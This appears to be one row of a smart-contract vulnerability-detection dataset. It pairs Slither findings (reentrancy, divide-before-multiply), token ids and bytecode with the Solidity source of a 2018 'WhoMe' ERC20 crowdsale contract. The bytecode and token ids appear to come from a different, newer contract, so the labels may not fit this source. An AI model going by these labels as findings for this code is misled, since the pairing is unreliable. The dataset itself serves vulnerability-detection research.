20776974686472617720746865207265776172647320746f6b656040820152603760f91b606082015260800190565b90815260200190565b918252602082015260400190565b600082198211156118f1576118f1611978565b500190565b60008261191157634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561193057611930611978565b500290565b60008282101561194757611947611978565b500390565b60005b8381101561196757818101518382015260200161194f565b838111156110a55750506000910152565b634e487b7160e01b600052601160045260246000fd5b8015158114610f9257600080fdfea26469706673582212207c42eb5deceedf9f23dc062dce0ddccb1e58b1f298133831fb9110a535c845dc64736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2620, 18939, 2692, 18139, 19841, 2063, 2581, 2581, 16932, 2581, 2549, 2094, 21472, 2063, 26224, 2278, 23777, 2581, 22025, 25746, 2692, 2278, 2575, 2094, 2487, 10322, 21926, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1014, 1006, 3229, 1013, 2219, 3085, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1012, 1012, 1013, 21183, 12146, 1013, 6123, 1012, 14017, 1000, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3206, 11336, 2029, 3640, 1037, 3937, 3229, 2491, 7337, 1010, 2073, 1008, 2045, 2003, 2019, 4070, 1006, 2019, 3954, 1007, 2008, 2064, 2022, 4379, 7262, 3229, 2000, 1008, 3563, 4972, 1012, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,887
0x978de02577f3279e86a96bc5dfd251d9f66e7c5a
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } contract ERC20Basic { uint256 public totalSupply; bool public transfersEnabled; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 { uint256 public totalSupply; bool public transfersEnabled; function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping (address => uint256) balances; /** * Protection against short address attack */ modifier onlyPayloadSize(uint numwords) { assert(msg.data.length == numwords * 32 + 4); _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public onlyPayloadSize(2) returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); require(transfersEnabled); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3) returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(transfersEnabled); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public onlyPayloadSize(2) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnerChanged(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function changeOwner(address _newOwner) onlyOwner internal { require(_newOwner != address(0)); OwnerChanged(owner, _newOwner); owner = _newOwner; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { string public constant name = "WhoMe"; string public constant symbol = "WHOM"; uint8 public constant decimals = 18; event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount, address _owner) canMint internal returns (bool) { balances[_to] = balances[_to].add(_amount); balances[_owner] = balances[_owner].sub(_amount); Mint(_to, _amount); Transfer(_owner, _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint internal returns (bool) { mintingFinished = true; MintFinished(); return true; } /** * Peterson's Law Protection * Claim tokens */ function claimTokens(address _token) public onlyOwner { //function claimTokens(address _token) public { //for test if (_token == 0x0) { owner.transfer(this.balance); return; } MintableToken token = MintableToken(_token); uint256 balance = token.balanceOf(this); token.transfer(owner, balance); Transfer(_token, owner, balance); } } /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale. * Crowdsales have a start and end timestamps, where investors can make * token purchases. Funds collected are forwarded to a wallet * as they arrive. */ contract Crowdsale is Ownable { using SafeMath for uint256; // address where funds are collected address public wallet; // amount of raised money in wei uint256 public weiRaised; uint256 public tokenAllocated; function Crowdsale( address _wallet ) public { require(_wallet != address(0)); wallet = _wallet; } } contract WHOMCrowdsale is Ownable, Crowdsale, MintableToken { using SafeMath for uint256; enum State {Active, Closed} State public state; // https://www.coingecko.com/en/coins/ethereum //$0.088 = 1 token => $ 1,000 = 1.5863699097355521 ETH => //11,363.6363 token = 1.5863699097355521 ETH => 1 ETH = 11,363.6363/1.5863699097355521 = 7163 uint256 public rate = 7163; uint256[] public discount = [125, 110, 100]; mapping (address => uint256) public deposited; mapping(address => bool) public whitelist; uint256 public constant INITIAL_SUPPLY = 100 * (10 ** 6) * (10 ** uint256(decimals)); uint256 public fundForSale = 70 * (10 ** 6) * (10 ** uint256(decimals)); uint256 public fundForTeam = 20 * (10 ** 6) * (10 ** uint256(decimals)); uint256 public fundForAirdrop = 2 * (10 ** 6) * (10 ** uint256(decimals)); uint256 public fundForBounty = 8 * (10 ** 6) * (10 ** uint256(decimals)); uint256 public countInvestor; event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount); event TokenLimitReached(uint256 tokenRaised, uint256 purchasedToken); event Finalized(); function WHOMCrowdsale( address _owner ) public Crowdsale(_owner) { require(_owner != address(0)); owner = _owner; transfersEnabled = true; mintingFinished = false; state = State.Active; totalSupply = INITIAL_SUPPLY; bool resultMintForOwner = mintForOwner(owner); require(resultMintForOwner); } modifier inState(State _state) { require(state == _state); _; } // fallback function can be used to buy tokens function() payable public { buyTokens(msg.sender); } function buyTokens(address _investor) public inState(State.Active) payable returns (uint256){ require(_investor != address(0)); uint256 weiAmount = msg.value; uint256 tokens = validPurchaseTokens(weiAmount); if (tokens == 0) {revert();} weiRaised = weiRaised.add(weiAmount); tokenAllocated = tokenAllocated.add(tokens); mint(_investor, tokens, owner); TokenPurchase(_investor, weiAmount, tokens); if (deposited[_investor] == 0) { countInvestor = countInvestor.add(1); } deposit(_investor); wallet.transfer(weiAmount); return tokens; } function getTotalAmountOfTokens(uint256 _weiAmount) internal view returns (uint256) { uint256 currentDate = now; //currentDate = 1528588800; //for test's uint256 currentPeriod = getPeriod(currentDate); uint256 amountOfTokens = 0; if(currentPeriod < 3){ if(whitelist[msg.sender]){ amountOfTokens = _weiAmount.mul(rate).mul(130).div(100); return amountOfTokens; } amountOfTokens = _weiAmount.mul(rate).mul(discount[currentPeriod]).div(100); } return amountOfTokens; } function getPeriod(uint256 _currentDate) public pure returns (uint) { //1527811200 - Jun, 01, 2018 00:00:00 && 1530403199 - Jun, 30, 2018 23:59:59 //1530403200 - Jul, 01, 2018 00:00:00 && 1531267199 - Jul, 10, 2018 23:59:59 //1531267200 - Jul, 11, 2018 00:00:00 && 1533081599 - Jul, 31, 2018 23:59:59 if( 1527811200 <= _currentDate && _currentDate <= 1530403199){ return 0; } if( 1530403200 <= _currentDate && _currentDate <= 1531267199){ return 1; } if( 1531267200 <= _currentDate && _currentDate <= 1533081599){ return 2; } return 10; } function deposit(address investor) internal { require(state == State.Active); deposited[investor] = deposited[investor].add(msg.value); } function mintForOwner(address _wallet) internal returns (bool result) { result = false; require(_wallet != address(0)); balances[_wallet] = balances[_wallet].add(INITIAL_SUPPLY); result = true; } function getDeposited(address _investor) public view returns (uint256){ return deposited[_investor]; } function validPurchaseTokens(uint256 _weiAmount) public inState(State.Active) returns (uint256) { uint256 addTokens = getTotalAmountOfTokens(_weiAmount); if (tokenAllocated.add(addTokens) > fundForSale) { TokenLimitReached(tokenAllocated, addTokens); return 0; } return addTokens; } function finalize() public onlyOwner inState(State.Active) returns (bool result) { result = false; state = State.Closed; wallet.transfer(this.balance); finishMinting(); Finalized(); result = true; } function setRate(uint256 _newRate) external onlyOwner returns (bool){ require(_newRate > 0); rate = _newRate; return true; } /** * @dev Adds single address to whitelist. * @param _beneficiary Address to be added to the whitelist */ function addToWhitelist(address _beneficiary) external onlyOwner { whitelist[_beneficiary] = true; } /** * @dev Adds list of addresses to whitelist. Not overloaded due to limitations with truffle testing. * @param _beneficiaries Addresses to be added to the whitelist */ function addManyToWhitelist(address[] _beneficiaries) external onlyOwner { require(_beneficiaries.length < 101); for (uint256 i = 0; i < _beneficiaries.length; i++) { whitelist[_beneficiaries[i]] = true; } } /** * @dev Removes single address from whitelist. * @param _beneficiary Address to be removed to the whitelist */ function removeFromWhitelist(address _beneficiary) external onlyOwner { whitelist[_beneficiary] = false; } }
0x6060604052600436106101d8576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146101e457806306fdde0314610211578063095ea7b31461029f5780630b1d07de146102f957806318160ddd1461033057806323b872dd146103595780632c4e722e146103d25780632ff2e9dc146103fb578063313ce5671461042457806334fcf437146104535780634042b66f1461048e578063466bb312146104b75780634b2c0706146105045780634bb278f31461053b578063521eb27314610568578063563baca1146105bd57806366188463146105e657806370a082311461064057806378f7aeee1461068d57806389dbeb64146106b65780638ab1d681146106df5780638c10671c146107185780638da5cb5b14610746578063916576c81461079b57806395d89b41146107c45780639b19251a14610852578063a9059cbb146108a3578063bd8d34f5146108fd578063bef97c8714610926578063c19d93fb14610953578063cb13cddb1461098a578063d1e2eb5e146109d7578063d73dd62314610a00578063dd62ed3e14610a5a578063df8de3e714610ac6578063e43252d714610aff578063ec8ac4d814610b38578063fc38ce1914610b7a575b6101e133610bb1565b50005b34156101ef57600080fd5b6101f7610dd7565b604051808215151515815260200191505060405180910390f35b341561021c57600080fd5b610224610dea565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610264578082015181840152602081019050610249565b50505050905090810190601f1680156102915780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156102aa57600080fd5b6102df600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610e23565b604051808215151515815260200191505060405180910390f35b341561030457600080fd5b61031a6004808035906020019091905050610f15565b6040518082815260200191505060405180910390f35b341561033b57600080fd5b610343610f39565b6040518082815260200191505060405180910390f35b341561036457600080fd5b6103b8600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f3f565b604051808215151515815260200191505060405180910390f35b34156103dd57600080fd5b6103e5611332565b6040518082815260200191505060405180910390f35b341561040657600080fd5b61040e611338565b6040518082815260200191505060405180910390f35b341561042f57600080fd5b610437611349565b604051808260ff1660ff16815260200191505060405180910390f35b341561045e57600080fd5b610474600480803590602001909190505061134e565b604051808215151515815260200191505060405180910390f35b341561049957600080fd5b6104a16113cb565b6040518082815260200191505060405180910390f35b34156104c257600080fd5b6104ee600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506113d1565b6040518082815260200191505060405180910390f35b341561050f57600080fd5b610525600480803590602001909190505061141a565b6040518082815260200191505060405180910390f35b341561054657600080fd5b61054e611498565b604051808215151515815260200191505060405180910390f35b341561057357600080fd5b61057b611609565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156105c857600080fd5b6105d061162f565b6040518082815260200191505060405180910390f35b34156105f157600080fd5b610626600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611635565b604051808215151515815260200191505060405180910390f35b341561064b57600080fd5b610677600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506118c6565b6040518082815260200191505060405180910390f35b341561069857600080fd5b6106a061190f565b6040518082815260200191505060405180910390f35b34156106c157600080fd5b6106c9611915565b6040518082815260200191505060405180910390f35b34156106ea57600080fd5b610716600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061191b565b005b341561072357600080fd5b610744600480803590602001908201803590602001919091929050506119d2565b005b341561075157600080fd5b610759611ae6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156107a657600080fd5b6107ae611b0c565b6040518082815260200191505060405180910390f35b34156107cf57600080fd5b6107d7611b12565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108175780820151818401526020810190506107fc565b50505050905090810190601f1680156108445780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561085d57600080fd5b610889600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611b4b565b604051808215151515815260200191505060405180910390f35b34156108ae57600080fd5b6108e3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611b6b565b604051808215151515815260200191505060405180910390f35b341561090857600080fd5b610910611dc3565b6040518082815260200191505060405180910390f35b341561093157600080fd5b610939611dc9565b604051808215151515815260200191505060405180910390f35b341561095e57600080fd5b610966611ddc565b6040518082600181111561097657fe5b60ff16815260200191505060405180910390f35b341561099557600080fd5b6109c1600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611def565b6040518082815260200191505060405180910390f35b34156109e257600080fd5b6109ea611e07565b6040518082815260200191505060405180910390f35b3415610a0b57600080fd5b610a40600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611e0d565b604051808215151515815260200191505060405180910390f35b3415610a6557600080fd5b610ab0600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612009565b6040518082815260200191505060405180910390f35b3415610ad157600080fd5b610afd600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506120a8565b005b3415610b0a57600080fd5b610b36600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506123c3565b005b610b64600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610bb1565b6040518082815260200191505060405180910390f35b3415610b8557600080fd5b610b9b600480803590602001909190505061247a565b6040518082815260200191505060405180910390f35b600080600080806001811115610bc357fe5b600a60019054906101000a900460ff166001811115610bde57fe5b141515610bea57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614151515610c2657600080fd5b349250610c328361247a565b91506000821415610c4257600080fd5b610c578360085461253090919063ffffffff16565b600881905550610c728260095461253090919063ffffffff16565b600981905550610ca58583600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661254e565b508473ffffffffffffffffffffffffffffffffffffffff167fcd60aa75dea3072fbc07ae6d7d856b5dc5f4eee88854f5b4abf7b680ef8bc50f8484604051808381526020018281526020019250505060405180910390a26000600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610d6157610d5a600160135461253090919063ffffffff16565b6013819055505b610d6a85612754565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f193505050501515610dcc57600080fd5b819350505050919050565b600a60009054906101000a900460ff1681565b6040805190810160405280600581526020017f57686f4d6500000000000000000000000000000000000000000000000000000081525081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600c81815481101515610f2457fe5b90600052602060002090016000915090505481565b60025481565b60006003600460208202016000369050141515610f5857fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610f9457600080fd5b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515610fe257600080fd5b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561106d57600080fd5b600360009054906101000a900460ff16151561108857600080fd5b6110da83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282090919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061116f83600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253090919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061124183600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282090919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b600b5481565b601260ff16600a0a6305f5e1000281565b601281565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113ac57600080fd5b6000821115156113bb57600080fd5b81600b8190555060019050919050565b60085481565b6000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600081635b108c80111580156114345750635b38197f8211155b156114425760009050611493565b81635b3819801115801561145a5750635b45487f8211155b156114685760019050611493565b81635b454880111580156114805750635b60f7ff8211155b1561148e5760029050611493565b600a90505b919050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114f657600080fd5b600080600181111561150457fe5b600a60019054906101000a900460ff16600181111561151f57fe5b14151561152b57600080fd5b600091506001600a60016101000a81548160ff0219169083600181111561154e57fe5b0217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f1935050505015156115cc57600080fd5b6115d4612839565b507f6823b073d48d6e3a7d385eeb601452d680e74bb46afe3255a7d778f3a9b1768160405160405180910390a1600191505090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60125481565b600080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611746576000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117da565b611759838261282090919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60095481565b60115481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561197757600080fd5b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a3057600080fd5b606583839050101515611a4257600080fd5b600090505b82829050811015611ae1576001600e60008585858181101515611a6657fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611a47565b505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600f5481565b6040805190810160405280600481526020017f57484f4d0000000000000000000000000000000000000000000000000000000081525081565b600e6020528060005260406000206000915054906101000a900460ff1681565b60006002600460208202016000369050141515611b8457fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515611bc057600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515611c0e57600080fd5b600360009054906101000a900460ff161515611c2957600080fd5b611c7b83600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282090919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d1083600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253090919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b60105481565b600360009054906101000a900460ff1681565b600a60019054906101000a900460ff1681565b600d6020528060005260406000206000915090505481565b60135481565b6000611e9e82600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253090919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260046020820201600036905014151561202257fe5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491505092915050565b600080600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561210757600080fd5b60008373ffffffffffffffffffffffffffffffffffffffff1614156121a457600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050151561219f57600080fd5b6123be565b8291508173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561224157600080fd5b5af1151561224e57600080fd5b5050506040518051905090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600660009054906